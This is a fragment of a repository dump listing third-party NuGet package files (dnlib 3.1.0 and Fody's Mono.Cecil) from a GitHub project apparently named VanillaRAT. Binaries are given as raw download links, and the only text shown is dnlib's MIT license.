/packages/Fody.3.3.5/netstandardtask/Mono.Cecil.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Fody.3.3.5/netstandardtask/Mono.Cecil.pdb
--------------------------------------------------------------------------------
/packages/dnlib.3.1.0/.signature.p7s:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/dnlib.3.1.0/.signature.p7s
--------------------------------------------------------------------------------
/packages/dnlib.3.1.0/LICENSE.txt:
--------------------------------------------------------------------------------
1 | Copyright (C) 2012-2018 de4dot@gmail.com
2 |
3 | Permission is hereby granted, free of charge, to any person obtaining
4 | a copy of this software and associated documentation files (the
5 | "Software"), to deal in the Software without restriction, including
6 | without limitation the rights to use, copy, modify, merge, publish,
7 | distribute, sublicense, and/or sell copies of the Software, and to
8 | permit persons to whom the Software is furnished to do so, subject to
9 | the following conditions:
10 |
11 | The above copyright notice and this permission notice shall be
12 | included in all copies or substantial portions of the Software.
13 |
14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
15 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
16 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
17 | IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
18 | CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
19 | TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
20 | SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
21 |
--------------------------------------------------------------------------------
/packages/dnlib.3.1.0/dnlib.3.1.0.nupkg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/dnlib.3.1.0/dnlib.3.1.0.nupkg
--------------------------------------------------------------------------------
/packages/dnlib.3.1.0/lib/net35/dnlib.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/dnlib.3.1.0/lib/net35/dnlib.dll
--------------------------------------------------------------------------------
/packages/dnlib.3.1.0/lib/net35/dnlib.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/dnlib.3.1.0/lib/net35/dnlib.pdb
--------------------------------------------------------------------------------
/packages/dnlib.3.1.0/lib/net461/dnlib.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/dnlib.3.1.0/lib/net461/dnlib.dll
--------------------------------------------------------------------------------
/packages/dnlib.3.1.0/lib/net461/dnlib.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/dnlib.3.1.0/lib/net461/dnlib.pdb
--------------------------------------------------------------------------------
/packages/dnlib.3.1.0/lib/netcoreapp2.1/dnlib.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/dnlib.3.1.0/lib/netcoreapp2.1/dnlib.dll
--------------------------------------------------------------------------------
/packages/dnlib.3.1.0/lib/netcoreapp2.1/dnlib.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/dnlib.3.1.0/lib/netcoreapp2.1/dnlib.pdb
--------------------------------------------------------------------------------
/packages/dnlib.3.1.0/lib/netstandard2.0/dnlib.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/dnlib.3.1.0/lib/netstandard2.0/dnlib.dll
--------------------------------------------------------------------------------
/packages/dnlib.3.1.0/lib/netstandard2.0/dnlib.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/dnlib.3.1.0/lib/netstandard2.0/dnlib.pdb
--------------------------------------------------------------------------------